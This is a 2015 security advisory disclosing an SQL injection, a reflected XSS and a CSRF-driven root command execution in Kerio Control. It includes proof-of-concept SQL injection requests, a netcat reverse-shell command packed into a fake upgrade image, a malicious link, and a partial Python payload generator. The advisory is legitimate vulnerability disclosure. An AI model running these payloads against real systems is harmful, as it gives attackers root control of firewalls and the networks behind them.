IntelliSec Security Advisory
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Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)
Vulnerabilities: SQL Injection, Remote Code Execution through CSRF
Product: Kerio Control
Homepage: http://www.kerio.com
Affected Version: <= 8.6.1
Fixed Version: 8.6.2 (partially fixed)
Impact: critical
Date: 2015-10-12
Author: Raschin Tavakoli | IntelliSec Research
http://www.intellisec.at
research@intellisec.at
Links: https://youtu.be/EzTI2WlGHb4
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Vendor description:
===================
Kerio Control is a unified threat management firewall developed by Kerio Technologies. It
features intrusion prevention, content filtering, activity reporting, bandwidth management,
and virtual private networking. Kerio Control runs Linux, providing network perimeter defense
for small to medium organizations.
Vulnerabilities
===============
1. XSS with Anti-XSS-Filter bypass (nonauth area)
2. SQL Injection (non-admin area)
3. Remote Code Execution (admin area)
By chaining the vulnerabilities together in combination with user interaction, an attacker may
gain full control over the firewall and the underlying network.
Attack Scenario
===============
The first attack could be to trick non-admin users to follow a malicious link in order to trigger
a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection
flaw in reports.php for example.
Once able to query the database, sensitive data of the users can be transmitted back to the
attacker. Information of interest could be for example the traffic usage of admin users and their
top-visited webpages.
In the next attack, this information may be used to embed another CSRF exploit into one of
the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting
admin, arbitrary remote code execution will be gained.
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1. SQL Injection:
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Short Description:
==================
Kerio Control suffers from an SQL Injection flaw in the report.php script.
Detailed Description:
=====================
It is not necessary to use blind sql injection, as the output will be rendered into an image file.
As the text in the image file has a fixed size, multiple union selects can be combined to render out
multiple images containing the result text of the query.
In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports
have to be enabled.
This issue is fixed in 8.6.2
Proof of Concept:
=================
GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1
Host: testbox:4081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;
TOKEN_CONTROL_WEBIFACE
For example, to read out the admin's internal UUID number, the following union based sql injection
can be used:
https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||
substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))
from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(
(select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'
FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+
=======================
2. Cross Site Scripting
=======================
The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS
vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way
it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue
significantly.
The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0
(10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0
This issue is fixed in 8.6.2
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3. Remote Command Execution via File Upload
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Short Description:
==================
Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface.
A malicious ssh script can be uploaded and executed with root privileges.
Detail:
=======
The upgrade feature in the admin interface can be used to upload arbitrary files by simply
changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell
script, this script will be executed with root privileges. Kerio did not provide a fix for the
upgrade functionality yet.
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4. Remote Command Execution through CSRF
========================================
The Kerio admin interface does not provide a functionality to execute shell commands on the
underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can
only be enabled through the Kerio Console Application.
By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue.
Proof of Concept:
=================
Create a Bash Script:
---------------------
# cat upgrade.sh
# #!/bin/bash
# nc 10.0.0.2 5555 -e /bin/bash &
# tar czf upgrade.tar.gz *
# mv upgrade.tar.gz upgrade.img
Open a netcat listener on the attacker's machine 10.0.0.2:
----------------------------------------------------------
# nc -lvp 5555
Generate Javascript Payload (File Upload and Execution):
--------------------------------------------------------
Base64 encode and craft malicous link:
https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp
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Python 3 payload generator
==========================
For easier testing, we developed a small python script that can be used to
generate the payload:
#!/usr/bin/python
# ====================================================================== #
# Title: Remote Command Execution through CSRF - Payload Generator #
# Author: Raschin Tavakoli - IntelliSec GmbH #
# Date: 12.10.2015 #
# #
# Description: #
# This python3 script generates the payload to exploit the RCE via CSRF #
# vulnerability in the Kerio Control Virtual Appliance. #
# #
# First a shell script will be packed as an Kerio upgrade.img file. Then #
# a Javascript will be generated which uploads the file via the Kerio #
# upgrade function. The payload will then be base64 encoded and can be #
# injected into the server parameter of the #
# nonauth/certificate.php script (). #
# #
# Example Usage: #
# csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #
# ====================================================================== #
import os
import shutil
import base64
import argparse
import subprocess
from optparse import OptionParser
import codecs
import sys
tmpdir = "/tmp/kerio_upgrade"
def usage():
print ("\nUsage: csrf-gen-payload -f -t \n")
print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n")
exit()
def main():
parser = OptionParser()
parser.add_option("-f", "--file", dest="file",
help="the bash file for remote execution", metavar="TARGET")
parser.add_option("-t", "--target", dest="target_url",
help="specify the target url", metavar="TARGET")
(options, args) = parser.parse_args()
file = options.file
target_url = options.target_url
if not target_url or not file:
usage()
# ====================================================================== #
# Create upgrade.img file #
# ====================================================================== #
orgdir = os.path.dirname(os.path.realpath(__file__))
try:
if os.path.exists(tmpdir):
shutil.rmtree(tmpdir)
except:
print("Cannot clean " + tmpdir)
os.mkdir(tmpdir)
shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh")
os.chdir(tmpdir)
os.system("tar czf upgrade.tar.gz *")
src = os.path.join(tmpdir, "upgrade.tar.gz")
dst = os.path.join(tmpdir, "upgrade.img")
os.rename(src, dst)
f = open('upgrade.img', 'rb',)
bin_data = f.read()
f.close()
hexdata = "".join("\\x{:02x}".format(c) for c in bin_data)
# ====================================================================== #
# Generate Javascript Payload #
# ====================================================================== #
script = ('')
print(script)
os.chdir(orgdir)
shutil.rmtree(tmpdir)
if __name__ == '__main__':
main()